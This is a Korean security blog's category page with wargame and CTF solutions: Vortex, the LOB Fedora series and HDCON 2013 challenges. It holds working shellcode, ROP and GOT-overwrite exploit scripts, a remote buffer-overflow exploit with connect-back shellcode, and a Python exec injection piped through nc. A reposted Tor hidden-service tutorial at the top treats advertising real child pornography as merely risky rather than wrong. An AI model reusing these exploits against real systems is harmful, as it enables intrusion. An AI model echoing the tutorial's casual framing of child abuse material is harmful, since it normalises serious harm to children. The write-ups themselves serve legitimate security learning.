'War_Game'에 해당되는 글 27건

  1. 2013.11.06 딥웹 tor 서버 만들기 4
  2. 2013.10.10 [vortex] level3 -> level4
  3. 2013.07.29 [Vortex] level0 -> level1
  4. 2013.07.11 HDCON 2013 neskjail 문제 ( python exec 함수의 문제 )
  5. 2013.06.17 2013 HDCON REMOTE BOF
  6. 2013.04.28 [ L.O.B ] 페도라 원정대 4 dark_stone -> cruel
  7. 2013.04.14 LOB Fedora 원정대 ( evil_wizard -> dark_stone )
  8. 2013.04.07 LOB Fedora BOF GOT overwrite (hell_fire -> evil_wizard)
  9. 2013.04.01 [LOB] 페도라 원정대 3 (dark_eyes -> hell_fire)
  10. 2012.08.13 Webhacking.kr 500점 44번 문제 풀이
  11. 2012.07.14 webhacking.kr 53번 문제 (procedure 로 테이블명 찾기)
  12. 2012.07.12 webhacking.kr 2번 (500점) 문제 설명 (beist 블라인드 2번)
  13. 2012.07.11 webhacking.kr 50번(450점) 문제 설명 (SQL 구문중 무의미한 스트링은 무시)
  14. 2012.07.11 webhacking.kr 40번 (500점) 문제 설명 (ascii 없이 블라인드)
  15. 2012.07.02 webhacking.kr 8번 문제 풀이(insert 구문은 2개가 사입가능)
  16. 2012.07.02 webhacking.kr 7번 (300점) 문제 풀이 (뺄셈으로 union 필터 우회)
  17. 2012.07.01 webhacking.kr 5번 문제 풀이 (base64 인코딩)
  18. 2012.07.01 webhacking.kr 5번(350점) 문제 풀이 (CTV 취약점)
  19. 2012.07.01 webhacking.kr 4번(150점) 문제 brute forcing 문제
  20. 2012.07.01 webhacking.kr 3번(350점) 문제 풀이 [&& 연산이 비교가 없으면 all pass]
  21. 2012.07.01 webhacking.kr 1번 문제 (200점) 풀이 [소숫점 이용하기]
  22. 2012.06.21 LOB level20 (xavius -> death_knight) Remote BOF 2
  23. 2012.05.13 LOB 페도라 원정대 iron_golem -> dark_eyes (LOB FC level 2)
  24. 2012.05.11 LOB 페도라 원정대 (gate -> iron_golem)
  25. 2012.04.01 해커스쿨 level20 문제풀이 (solution of hackerschool ftz level20)
  26. 2012.03.31 [vortex] level2 -> level3
  27. 2012.03.29 [vortex] level1 -> level2
2013. 11. 6. 23:16

[출처 : http://blog.naver.com/mal031?Redirect=Log&logNo=100194620275  ]


링크만 남겨야하는데, 늘 링크만 남겼다가 자료가 없어지는 경우가 많아서... 퍼온 뒤 출처를 남긴다.




토르는 3단계 이상 우회하여 접속하는 익명 네트워크이다. 토르를 통해 접속하면 접속한 서버에서는 누가 접속해는지 알 방법이 없는데 마찬가지로 사이트 자체도 익명화가 가능하다. 이를 히든서비스라 부르는데 주소는 해쉬형태의 값을 가지며 .onion으로 끝난다.

 

작동 방법은 간단한데 서버에서 localhost전용서버를 열고 히든서비스에 등록하면 된다.

히든서비스에 등록하면 .onion주소를 얻는데 사이트를 홍보하기 위해 히든위키에 주소와 사이트 소개를 올린다.

 

흔히 딥웹이라고 하면 범죄사이트의 온상이라는 다소 환상적인 이미지가 강하지만 딥웹 사이트들은 위에서 설명한 과정을 통해 개설되었고 히든위키는 그 사이트 주소를 한데 모아둔 것에 불과하다.

 

이 강좌에서는 윈도우용 xampp를 이용해 Apache 서버를 열고 가벼운 이미지보드인 TinyIB를 이용해 이미지보드를 개설하는 방법을 설명한다. Unix환경도 기본적인 동작원리는 같다.

설정 파일을 수정해야 할 때가 있는데 메모장은 글자가 깨지므로 워드패드나 notepad++같은 에디터 사용을 권장한다.

 

준비물

1. xampp(압축형 권장) http://www.apachefriends.org/en/xampp-windows.html

2. 토르 브라우저 https://www.torproject.org/projects/torbrowser.html

3. TinyIB https://github.com/tslocum/TinyIB/archive/master.zip

 

 

localhost 이미지보드개설  

 

1. xampp를 C:\에 푼다. C:\ 이외에 usb드라이브나 램디스크를 이용해도 된다.

2. C:\xampp\apache\conf\httpd.conf 파일을 열고

#Listen 12.34.56.78:80
Listen 80

Listen 127.0.0.1:80
#Listen 80

로 바꿔준다. 이 작업을 하지 않으면 토르없이도 외부에서 접속할 수 있기 때문에 반드시 해야한다.

3. xampp-control을 실행하여 Apache옆의 Start 버튼을 누른다. mysql도 쓴다면 같이 켜준다. 별다른 에러메시지가 없다면 가동에 성공한 것이다.

4. C:\xampp\htdocs 에 있는 파일을 모두 지우고 위에서 받은 TinyIB를 풀어준다.

5. C:\xampp\htdocs\settings.default.conf 의 파일명을 settings.conf로 바꾸고 파일내의 TRIPSEED값과 ADMINPASS값을 설정해준다.

6. 인터넷 브라우저상에서 http://127.0.0.1/imgboard.php 에 접속한다.

 

 

 

Tor hidden service에 등록




1. 토르를 실행하고 설정-서비스들에서 서비스를 추가한다. 가상포트는 80, 디렉터리는 히든서비스 정보가 저장될 위치를 지정한다. 위치를 지정하기 전에 폴더가 존재하는지 확인한다. 없으면 만들어주자. ex)C:\xampp\torrc\

2. 확인을 누른 후 다시 설정-서비스들에 가면 양파주소가 생긴것을 확인할 수 있다. 이제 주소를 복사하기 위해 서비스를 선택하고(80을 누르면 선택된다) 복사 아이콘(겹친 종이모양)을 누르면 주소가 복사된다. 토르가 실행중이 아닐 때에는 위에서 설정한 C:\xampp\torrc\ 에서 확인할 수 있다.

3. 토르 브라우저에 주소를 복사하여 접속한다.

 

히든위키에 홍보

이제 내가 만든 사이트를 딥웹 세계에 알리기 위해 히든위키에 접속해서 자신의 주소를 올리고 간략히 설명하도록 한다. 단, 아동포르노(그림이 아닌 실제아동)는 해외 해커들의 공격대상이 될 수 있으니 자제하도록 한다.

 

주의사항

토르 네트워크 자체는 익명성을 보장하지만 접속자의 PC나 서버가 바이러스에 감염되면 스스로 개인정보를 유출해버릴 수 있다. 보안을 위해 다음과 같은 사항을 지켜야 한다.

1. 백신설치

2. 사이트 내에 개인정보를 남기지 말 것

3. IP와 같은 서버의 정보를 보여줄 수 있는 코드를 넣지 말 것

4. 아동포르노와 같이 미국정부나 해커를 자극할만한 사이트를 함부로 히든위키에 홍보하지 말 것, 자신의 보안실력을 100% 신뢰하지 않는다면 정말로 하지 않는편이 좋다

 

 

 

익명사이트/딥웹만들기/딥웹개설/익명사이트 만들기/딥웹 호스팅/익명사이트 호스팅/


Posted by k1rha
2013. 10. 10. 00:13


[vortex] level3 -> level4


IP : 178.79.134.250

PORT : 22

ID : vortex3

PW : 64ncXTvx#

http://www.overthewire.org/wargames/vortex/vortex3.shtml ]

Level 3 → Level 4

1 /* 2 * 0xbadc0ded.org Challenge #02 (2003-07-08) 3 * 4 * Joel Eriksson <je@0xbadc0ded.org> 5 */ 6 7 #include <string.h> 8 #include <stdlib.h> 9 #include <stdio.h> 10 11 unsigned long val = 31337; 12 unsigned long *lp = &val; 13 14 int main(int argc, char **argv) 15 { 16 unsigned long **lpp = &lp, *tmp; 17 char buf[128]; 18 19 if (argc != 2) 20 exit(1); 21 22 strcpy(buf, argv[1]); 24 if (((unsigned long) lpp & 0xffff0000) != 0x08040000) 25 exit(2); 27 tmp = *lpp; 28 **lpp = (unsigned long) &buf; 29 // *lpp = tmp; // Fix suggested by Michael Weissbacher @mweissbacher 2013-06-30 30 31 exit(0); 32 }


중요시 봐야할 점은 29번째 라인까지 왔을때의 포인터 관계는 다음과 같다 .
tmp = *lpp  // lpp 가 가르키는 값 즉 val 값이 들어간다.
**lpp=&buf; //buffer에 쉘코드를 박으면 **lpp는 그것을 가르킨다.

변조한 *lpp 이 가르키는 곳에 &buff, 즉 쉘코드를 가르키게 할 수 있다.
ret 을 덮어 띄워서 일반적인 BOF를 하고 싶지만 코드 끝에 exit(0) 이 있어서
ret을 호출하기 전에 종료 되므로 다른 방법을 써야 한다.

방안 1) dtors 를 덮어 씌워 종료시 쉘코드를 호출 시킨다.  
       //다른 블로그엔 이방법을 많이 썼으나 필자는 dtors를 가르키는 주소가 없음.

방안 2) exit@got 을 덮어 씌운다. 두번째 exit가 호출될 때 쉘코드가 호출 된다.

(gdb) x/xi 0x8048320  //exit@PLT
   0x8048320 <exit@plt>: jmp    *0x8049738

(gdb) p exit 
$1 = {<text variable, no debug info>} 0x8048320 <exit@plt>
//code section 부터 0x8049738 주소가 있는 곳을 뒤져볼 생각이였음.

(gdb) find  0x8048320 , + 10000 , 0x8049738
warning: Unable to access target memory at 0x8048320, halting search.
Pattern not found. 
//access 권한이 없어서 검색 범위를 좁힘.

(gdb) find  0x8048320 , +100 , 0x8049738
0x8048322 <exit@plt+2>
//이 주소가 가르키는 곳이 exit@got 이다.

1 pattern found.

스택의 구조는 아래와 같다. 
stack struct
[ buff = 128 ] [ tmp = 4 ] [ lpp = 4  ] [ sfp ] [ ret ] 

 shellcode(43) + dummy(89) + *(exit@got) 

[shellcode k1rha.s]

.global main

main:

xor %ecx,%ecx

mov $0x138c, %cx

xor %ebx,%ebx

mov $0x138c, %bx

xor %eax,%eax

mov $0x46, %al

int $0x80


xor %eax,%eax

xor %edx,%edx


movb $0xb,%al

push %edx

push $0x68732f2f

push $0x6e69622f

mov %esp,%ebx

push %edx

push %ebx

movl %esp,%ecx

int $0x80


gcc -o k1rha k1rha.s -m32 -z execstack  //stack 실행권한 및 32비트 설정

sizeof( \x31\xc9\x66\xb9\x8c\x13\x31\xdb\x66\xbb\x8c\x13\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80 ) == 43 byte



[ attack ]

vortex3@melinda:/vortex$ ./vortex3 `python -c 'print "\x31\xc9\x66\xb9\x8c\x13\x31\xdb\x66\xbb\x8c\x13\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80" + "a"*89 + "\x22\x83\x04\x08"'`
$ id
uid=5004(vortex4) gid=5003(vortex3) groups=5004(vortex4),5003(vortex3)
$ cat /etc/vortex_pass/vortex4
2YmgK1=jw


'War_Game > Vortex' 카테고리의 다른 글

[Vortex] level0 -> level1  (0) 2013.07.29
[vortex] level2 -> level3  (0) 2012.03.31
[vortex] level1 -> level2  (0) 2012.03.29
Posted by k1rha
2013. 7. 29. 23:21

[Vortex] level0 -> level1


[ 링크 : http://www.overthewire.org/wargames/vortex/vortex0.shtml ]



4개의 unsigned integer 숫자들을 Host byte 정렬로 받아서 다 더한 다음 다시 전송하라..

그러면 너는 user와 passwd 를 알것이다... 


코드는 아래와 같이 짰다.





'War_Game > Vortex' 카테고리의 다른 글

[vortex] level3 -> level4  (0) 2013.10.10
[vortex] level2 -> level3  (0) 2012.03.31
[vortex] level1 -> level2  (0) 2012.03.29
Posted by k1rha
2013. 7. 11. 22:59

HDCON 2013  neskjail 문제 ( python exec 함수의 문제


      exploiting by 광운~   


HDCON 본선문제로 python exec를 이용하는 문제 였다.

문제서버에는 neskjail 이라는 프로세스가 돌고 있었어야 했고, 중지 시 감점이 된다고한다(실제론 감점 안된듯?)



문제코드는 아래와 같다 약간의 난독화가 되어 있었는데, 같은 문자열을 치환시켜서 

대충 맞추면 소켓서버가 완성되었다. 파이썬 코드가 워낙 직관적이기에 쉽게 진행 할 수 있었다.



대충 보기좋게 치환한 코드는 아래와 같음.

#!/usr/bin/python

import socket

import os

import subprocess

import SocketServer

import sys


def MSG_CHECK ( msg ) :

if "N3Sk" in msg [ 50 : ] :

return "NESK"

else :

return "PESK"


def OPEN_READ_CHECK ( msg ) :

if "open" in msg or "read" in msg :    // msg 에 read 나 open 이 있으면 false  두개가 없으면 NESK

return "false"

else :

return "NESK"  


def CHECK_50_N3Sk ( sock ) :

sock . send ( "UNEXPLOITABLE!\n" )   


class EchoHandler ( SocketServer . BaseRequestHandler ) :

def handle ( self ) :

MESSAGE = self . request . recv ( 200 ) . strip ( )    // 띄어쓰기없이 200바이트를 받아들임

try :

if len ( MESSAGE ) > 5 :

RECV_RESULT = MSG_CHECK ( MESSAGE )  

//  문자열이 5글자 이상이면 MSG_CHECK를 함  50번째 이후에 N3Sk가 있어야 NESK를 리턴 


if RECV_RESULT == "NESK" :  // msg 50번째 이후에 N3Sk가 있으면 참 값..

try :

if OPEN_READ_CHECK ( MESSAGE ) == "NESK" :   

                                                                               // OEPN_READ 함수의 값이 NESK 이면(즉 open read가 없으면)

       //이부분에서 open 이나 read 함수를 쓸수 없다는 것을 말함.


exec MESSAGE //MSG를 실행함.

except :

return

else :

CHECK_50_N3Sk ( self . request )


except KeyError , IIII :

pass


if __name__ == "__main__" :

SOCK_SERVER = SocketServer . TCPServer ( ( "localhost" , 7997 ) , EchoHandler )

SOCK_SERVER . serve_forever ( )





조건은 정리해 보면 아래와 같다.


0. 상대방은 7997 로 서버프로그램을 하나 돌리고 있다.

1. 50번째부터 N3Sk 란 문자열이 있어야한다.

2. read 나 open 함수를 사용 할 수는 없다.

3. exec 에 들어갈 파이썬 코드는 key 값을 읽을 수 있어야 한다. 

4. exec 안에 들어갈 파이썬 코드는 문법상 오류가 생기면 않된.

5. 실행된 결과 값은 나에게 다시 전송시켜 줘야 한다. (데몬은 상대방 서버에서 돌기 때문)


이 문제는 python 의 exec 는 파이썬 코드 자체를 실행 시킬수 있다는 점을 이용한 문제 + 소켓 디스크립트에 직접 파일을 쓸수 있는가 하는 문제이다. 소켓 디스크립트는  4번을 쓴다.


PAYLOAD는 다음과 같다.  


[import os;os.system('cat key > &4');][ A * 50 ] [ N3Sk 문자열.. 하지만 파이썬 문법에 어긋나면안됨] |  nc [ 상대방 서버 ] [서버의 포트 ]


위와 같은 페이로드가 맞으면 exec 는 os.system 함수를 호출하고 system 함수는 cat key를 실행하여 client socket 디스크립트로

전송시킨다. 이때 실행코드로 들어가기 위해서는 N3Sk 란 글자가 50번째 이후에 반드시 존재하여야 한다. 


connection 이 맺어진 뒤 client socket descript 로 전송하게 되면 Client 화면에 키 값이 출력 된다.


위와같은 결과값을 상대방 서버에 접속한다.



root@k1rha:/HACK/HDCON# 

python -c 'print "import os;os.system(\"cat key >&4 \");"+"A"*50+"N3Sk=0"' | nc 127.0.0.1 7997


Get key succcess 


root@k1rha:/HACK/HDCON# 











Posted by k1rha
2013. 6. 17. 17:30

HDCON REMOTE BOF 


Hacked by singi , exploiting & report by 광운



hdconNo5_exp.py

luckyzzang



공격 페이로드는 아래와 같다.


STAGE1 = SEND + PPPR + SOCKFD + GOT_TIME + VALUE_0x4 + NULL + \

              FUNC + AAAA + SOCKFD


STAGE2 = MPROTECT + PPPR + CUSTOM_STACK + SIZEOF_CUSTOM + MODE_EXEC +\

               RECV + RETURN_CUSTOM + SOCKFD + CUSTOM_STACK + SHELLCODELEN + NULL


STAGE3 = SELLCODE



from socket import *

import sys

import struct


SHELLCODE ="\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x6a\x02\x89\xe1\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\x7f\x00\x00\x01\x66\x68\x22\xb8\x66\xb9\x02\x00\x66\x51\x89\xe1\x6a\x10\x51\x53\x89\xe1\xb0\x66\x31\xdb\x43\x43\x43\xcd\x80\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"

SHELLCODELEN = struct.pack('<L', len(SHELLCODE))


PLT_SEND = 0x08048610

GOT_TIME = 0x804a004

ADDR_FUNC = 0x080486d4


PPPR = struct.pack('<L', 0x804878d)

PPPPR = struct.pack('<L', 0x80489cc)

STAGE1 = '\x41' * 1036 + struct.pack('<L', PLT_SEND) + PPPPR + '\x04\x00\x00\x00' + struct.pack('<L', GOT_TIME)

STAGE1 += '\x04\x00\x00\x00' + '\x00\x00\x00\x00' +struct.pack('<L', ADDR_FUNC) + '\x41\x41\x41\x41' + '\x04\x00\x00\x00'


if __name__ == '__main__':

s = socket(AF_INET, SOCK_STREAM)

s.connect(('127.0.0.1', 7777))


s.recv(1024)

s.send(STAGE1)


ADDR_TIME = struct.unpack('<L', s.recv(4))[0]


ADDR_MPROTECT = ADDR_TIME + 0x41B70

ADDR_RECV = ADDR_TIME + 0x48080


STAGE2 = '\x41' * 1036 + struct.pack('<L',ADDR_MPROTECT ) + PPPR + '\x00\x80\x04\x08' + '\x00\x10\x00\x00'

STAGE2 += '\x07\x00\x00\x00' + struct.pack('<L', ADDR_RECV) + '\x91\x87\x04\x08' + '\x04\x00\x00\x00'

STAGE2 += '\x91\x87\x04\x08' + SHELLCODELEN + '\x00\x00\x00\x00'


s.recv(1024)

s.send(STAGE2)

s.send(SHELLCODE)


s.close()




Posted by k1rha
2013. 4. 28. 18:41

KEYWORD  : LOB 페도라 원정대 페도라4 오버플로우 



dark_stone 부터는 페도라 원정대3에서 페도라 원정대 4로 이미지를 바꾸어 진행하여야 한다.

cruel 문제부터 봐보면 오히려 간단해진 문제를 볼수 있다.



strcpy 부분에서 인자값을 복사하면서 경계값을 검사 하지 않아 오버플로우가 발생한다.

execl 을 이용하여 심볼릭 링크를 걸고 공격 하는 방법을 다시 써서 공략하였다.


(gdb) p execl

$1 = {<text variable, no debug info>} 0x832d68 <execl>

0x08048451 <main+109>: ret    


RET = 0x08048451

execl  = 0x832d68


스택은 랜덤하기 떄문에 RET 슬라이딩을 이용하여 eip를 움직여 스택이 정적인 부분까지 끌어 올리는 방식을 택하였다.

여기서 3번정도면 스택이 정적인 부분을 찾을 수 있었으나, 인자값을 구하기 쉬운 부분을 선택하기 위하여 RET을 7번이나 더해주게 되었다.

[dark_stone@Fedora_2ndFloor ~]$ sstrace -i ./cruel `python -c 'print "a"*260+"\x51\x84\x04\x08"*7+"\x68\x2d\x83"'`

[008a1402] execve("./cruel", ["./cruel", "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"...], [/* 20 vars */]) = 0

.

.

[009c1402] execve("<춯", ["", "U\211\345WVS\203\354\f\350", "", "Q\204\4\10Q\204\4\10\234\245\307\277\364\257\214", "\205\300uSe\241T"], [/* 20 vars */]) = -1 ENOENT (No such file or directory)  //execl 의 인자가 짧다.


[dark_stone@Fedora_2ndFloor ~]$ strace -i ./cruel `python -c 'print "a"*260+"\x51\x84\x04\x08"*7+"\x68\x2d\x83"'` 2> result.txt

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaQ?Q?Q?Q?Q?Q?Q?h-?

[dark_stone@Fedora_2ndFloor ~]$

[dark_stone@Fedora_2ndFloor ~]$ xxd result.txt 

.

.

.

0000740: 6435 3430 325d 2065 7865 6376 6528 223c  d5402] execve("<

0000750: ad8c 222c 205b 2222 2c20 2255 5c32 3131  ..", ["", "U\211

.

.

 execl 인자값 :  \x3\xad\x8c 가 이자값이 되어 실행 되었다.


다음은 execl 의 인자값을 쉘을 떨어트릴 수 있는 프로그램으로 심볼릭 링크를 걸어준다.

[dark_stone@Fedora_2ndFloor ~]$ cat system.c

#include<stdio.h>

int main(int argc, char *argv[]){

setreuid(geteuid(),geteuid());

system("/bin/sh");

}

[dark_stone@Fedora_2ndFloor ~]$ export PATH=$PATH:/home/dark_stone  

[dark_stone@Fedora_2ndFloor ~]$ ln -s system `python -c 'print "\x3c\xad\x8c"'`



공격 페이로드는 다음과 같다.


[ buffer = 260 ] [ RET ] * 7 , [ execl ] [ 어딘가의 인자값 ]

                                                      \x3c\xad\x8c -> "/bin/sh 을 실행시켜주는 프로그램 "

                      


[dark_stone@Fedora_2ndFloor ~]$ ./cruel `python -c 'print "a"*260+"\x51\x84\x04\x08"*7+"\x68\x2d\x83"'`

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaQ?Q?Q?Q?Q?Q?Q?h-?

sh-3.00$ id

uid=501(cruel) gid=500(dark_stone) groups=500(dark_stone) context=user_u:system_r:unconfined_t

sh-3.00?y-pass

sh: ?y-pass: command not found

sh-3.00$ my-pass

euid = 501

come on, come over

sh-3.00$ 



Posted by k1rha
2013. 4. 14. 15:14

LOB Fedora 원정대 ( evil_wizard -> dark_stone )

key word : GOT overwrite , Remote Buffer Overflow Got overwrite 



지난번 문제와 거의 동일하다. 다만 리모트 환경으로 넘어오게 된다.



지난번 문제와 큰차이는 없으나, 리모트 환경이다. 8888 번 포트로 전송 시키되, execve 를 쓸필요 없고 system 함수로

쉘만 획득해도 권한이 상승 한다.  지난번과 똑같은 PAYLOAD 로 공격하려고 했으나 많은 실패가 있었는데 GOT table 을 망가트리는

현상이 일어나는 것 같았다.

[ROP] 문서 내용 중..

custom stack 의 위치를 정하기 위해 주의해야 할 사항:

· 주소안에서 NULL 값을 피하기위해 우리는 마지막 byte 값을 낮은 값으로 선택해줘야 한다. (예:

0x8049810)

· GOT 테이블이 예상치 못하게 덮어지는 상황을 주의해야 한다.

· 스택은 높은주소에서부터 낮은 주소로 자라기 때문에, data 영역을 시작 주소로 잡아서는 안된다.

(예: 시작주소를 0x8049010 으로 잡아버리면 ret-to-libc call 이 실패할 것이다.)

· 보통은 ".data" 혹은 "bss" 영역 이후의 주소로 잡아주는것이 custom stack 을 설정하기에 좋다.


[ 이전 공격구문 ]

[buffer = 264 ] [ SFP = 4 ] [ RET = 4 ]

                         EBP초기화   [ 공격구문 ] 

[ 공격구문 ]


[ strcpy@plt ] , [ PPR ] , [ memcpy@GOT+0 ] , [ execve 첫번째 바이트를 가진 주소 값 ]

[ strcpy@plt ] , [ PPR ] , [ memcpy@GOT+1 ] , [ execve 두번째 바이트를 가진 주소 값 ]

[ strcpy@plt ] , [ PPR ] , [ memcpy@GOT+2 ] , [ execve 세번째 바이트를 가진 주소 값 ]

[ strcpy@plt ] , [ PPR ] , [ memcpy@GOT+3 ] , [ execve 네번째 바이트를 가진 주소 값 ]

[main+240(memcpy 를 하고 난 다음 다시 복귀 할 EBP 주소 ],

[고정된 주소 아무곳이나.. 심볼릭 링크를 걸 것임 == /bin/sh 가 안됐음 ]


[ 이번에 적용한 공격구문 ]


[buffer = 264 ] [ SFP = 4 ] [ RET = 4 ]

                         EBP초기화   [ 공격구문 ] 

[ 공격구문 ]

[ strcpy@plt ] , [ PPR ] , [ CUSTOM_ADDR + 0 ] , [ system 첫번째 바이트를 가진 주소 값 ]

[ strcpy@plt ] , [ PPR ] , [ CUSTOM_ADDR + 1 ] , [ system 두번째 바이트를 가진 주소 값 ]

[ strcpy@plt ] , [ PPR ] , [ CUSTOM_ADDR + 2 ] , [ system 세번째 바이트를 가진 주소 값 ]

[ strcpy@plt ] , [ PPR ] , [ CUSTOM_ADDR + 3 ] , [ system 네번째 바이트를 가진 주소 값 ]

[ strcpy@plt ] , [ PPR ] , [ memcpy@GOT ] , [ CUSTOM_ADDR 주소 값 ]

[main+240(memcpy 를 하고 난 다음 다시 복귀 할 EBP 주소 ],

[ &/bin/sh ]


위 공격 구문을 구성하기 위해서 필요한 것들은 다음과 같다.


memcpy@plt :  0x08048418

(gdb) x/5i 0x08048418

0x8048418 <_init+120>: jmp    *0x8049850


memcpy@got : 0x08049850

strcpy@plt  : 0x08048438

PPR : 0x080484f0  

"/bin/sh" @ addr = 0x833604

system : 0x7507c0

c0 : 0x80484d0

07 : 0x8048ca9

75 : 0x80486ee

00 : 0x804875e


임의의 스택값 : 0x80498a0: 0x00000000 0x00000000 0x00000000 0x00000000

//이경우 memcpy@got 에 직접 씌워주려 했으나, 실패했다. GOT table이 깨지는 듯 하여 임의의 주소값에 system 주소를담고 다시 이를 memcpy 로 가져옴으로써 정확한 주소값만 Overwrite를 할 수 있도록 하였다.



1. 번외 : [/bin/sh] 주소값 찾기

system 함수 내에는 do_system 이란 함수가 존재하고 이는 /bin/sh 를 인자값으로 쓴다.

때문에 system 함수를 기점으로 문자열을 검색해보면 [/bin/sh] 의 주소값을 찾을 수 있다.



[evil_wizard@Fedora_1stFloor ~]$ cat findsh.c

#include<stdio.h>

int main(int argc, char *argv[]){


int addr=0x007507c5; //system 함수의 주소

while(1){

if(memcmp(addr++,"/bin/sh",8)==0){

printf("[%p]\n",addr);

break;

}

}


return 0;

}




복사 붙여넣기 용 소스코드

[ source code ]

import os


MEMCPY_GOT = "\x50\x98\x04\x08"

BINSH = "\x03\x36\x83\x00"

CALL_MEMCPY = "\x95\x85\x04\x08"


#SYSTEM = "\xc0\x07\x75\x00"

ADDR_C0 = "\xd0\x84\x04\x08"

ADDR_07 = "\xa9\x8c\x04\x08"

ADDR_75 = "\xee\x86\x04\x08"

ADDR_00 = "\x5e\x87\x04\x08"


STRCPY =  "\x38\x84\x04\x08" 

PPR =  "\xf3\x84\x04\x08"


CUSTOM_0 =  "\xa0\x98\x04\x08"

CUSTOM_1 =  "\xa1\x98\x04\x08"

CUSTOM_2 =  "\xa2\x98\x04\x08"

CUSTOM_3 =  "\xa3\x98\x04\x08"


def main():


BUFFER = "\x90"*268

ATTACK = BUFFER + \

STRCPY + PPR + CUSTOM_0 + ADDR_C0+\

 STRCPY + PPR + CUSTOM_1 + ADDR_07+\

 STRCPY + PPR + CUSTOM_2 + ADDR_75+\

 STRCPY + PPR + CUSTOM_3 + ADDR_00+\

 STRCPY + PPR + MEMCPY_GOT + CUSTOM_0+\

 CALL_MEMCPY + BINSH

print ATTACK


if __name__ ==  '__main__':

main()


[evil_wizard@Fedora_1stFloor ~]$ (python exploit6.py ;cat)| nc localhost 8888

dark_stone : how fresh meat you are!

you : id           

uid=505(dark_stone) gid=505(dark_stone) context=user_u:system_r:unconfined_t

my-pass

euid = 505

let there be light

[dark_stone@Fedora_1stFloor ~]$ ls -al

total 56

drwx--x---  2 dark_stone dark_stone 4096 Apr 28  2010 .

drwxr-xr-x  8 root       root       4096 Apr 28  2010 ..

-rw-r--r--  1 dark_stone dark_stone   24 Apr 28  2010 .bash_logout

-rw-r--r--  1 dark_stone dark_stone  191 Apr 28  2010 .bash_profile

-rw-r--r--  1 dark_stone dark_stone  124 Apr 28  2010 .bashrc

-rw-r--r--  1 root       root        580 Apr 28  2010 dropped_item.txt

-rw-r--r--  1 dark_stone dark_stone  383 Apr 28  2010 .emacs

[dark_stone@Fedora_1stFloor ~]$ cat dropped_item.txt 

                   ,.

                 ,'  `.

               ,' _<>_ `.

             ,'.-'____`-.`.

           ,'_.-''    ``-._`.

         ,','      /\      `.`.

       ,' /.._  O /  \ O  _.,\ `.

     ,'/ /  \ ``-;.--.:-'' /  \ \`.

   ,' : :    \  /\`.,'/\  /    : : `.

  < <>| |   O >(< (  ) >)< O   | |<> >

   `. : :    /  \/,'`.\/  \    ; ; ,'

     `.\ \  /_..-:`--';-.._\  / /,'

       `. \`'   O \  / O   `'/ ,'

         `.`._     \/     _,','

           `..``-.____.-'',,'

             `.`-.____.-','

               `.  <>  ,'

                 `.  ,' 

- 끝 -


Posted by k1rha
2013. 4. 7. 21:06

keyword : load of bof , LOB ,Fedora,  BOF, GOT, overwrite, (hell_fire -> evil_wizard)


[hell_fire@Fedora_1stFloor ~]$ cat evil_wizard.c

/*

The Lord of the BOF : The Fellowship of the BOF 

- evil_wizard

- Local BOF on Fedora Core 3   

- hint : GOT overwriting    //GOT overwrite 를 하라는 힌트가 있음

*/


// magic potion for you

void pop_pop_ret(void) //좀있다 사용될 PPR 코드를 만들어 둬서 찾기 쉽게 만들어줌. 

{

asm("pop %eax");

asm("pop %eax");

asm("ret");

}

 

int main(int argc, char *argv[])

{

char buffer[256];

char saved_sfp[4];

int length; 


if(argc < 2){

printf("argv error\n");

exit(0);

}


// for disturbance RET sleding

length = strlen(argv[1]);

   

        // healing potion for you

        setreuid(geteuid(), geteuid());

        setregid(getegid(), getegid());


// save sfp 

memcpy(saved_sfp, buffer+264, 4);   // EBP 를 저장시킴

 

// overflow!!

strcpy(buffer, argv[1]);   //OVER FLOW 발생지점 


// restore sfp 

memcpy(buffer+264, saved_sfp, 4); //EBP를 복원시켜서 오버플로우로 EBP바뀐것이 소용없도록함


        // disturbance RET sleding

        memset(buffer+length, 0, (int)0xff000000 - (int)(buffer+length)); 


printf("%s\n", buffer);

}



GOT overwrite는 FSB(Formet string bug)에서 자주 사용되는 공격 기법이다. 

PLT 와 GOT 에 대한건  system 게시판 GOT PLT 심층 분석을 통해 보고 여기서는 풀이에 힘을 쏟겠다. 


이전 문제와 같이 268 바이트면 EBP까지 덮어 쓰고 RET을 덮기 시작한다.


공격의 설명은 다음과 같다.

memcpy GOT 주소를 execve 실 주소로 덮어 쓰는 것이다. 

그렇게 되면 memcpy 를 실행하는 대신에 execve 를 실행하게 될 것이다.



[buffer = 264 ] [ SFP = 4 ] [ RET = 4 ]

                         EBP초기화   [ 공격구문 ] 


[ 공격구문 ]


[ strcpy@plt ] , [ PPR ] , [ memcpy@GOT+0 ] , [ execve 첫번째 바이트를 가진 주소 값 ]

[ strcpy@plt ] , [ PPR ] , [ memcpy@GOT+1 ] , [ execve 두번째 바이트를 가진 주소 값 ]

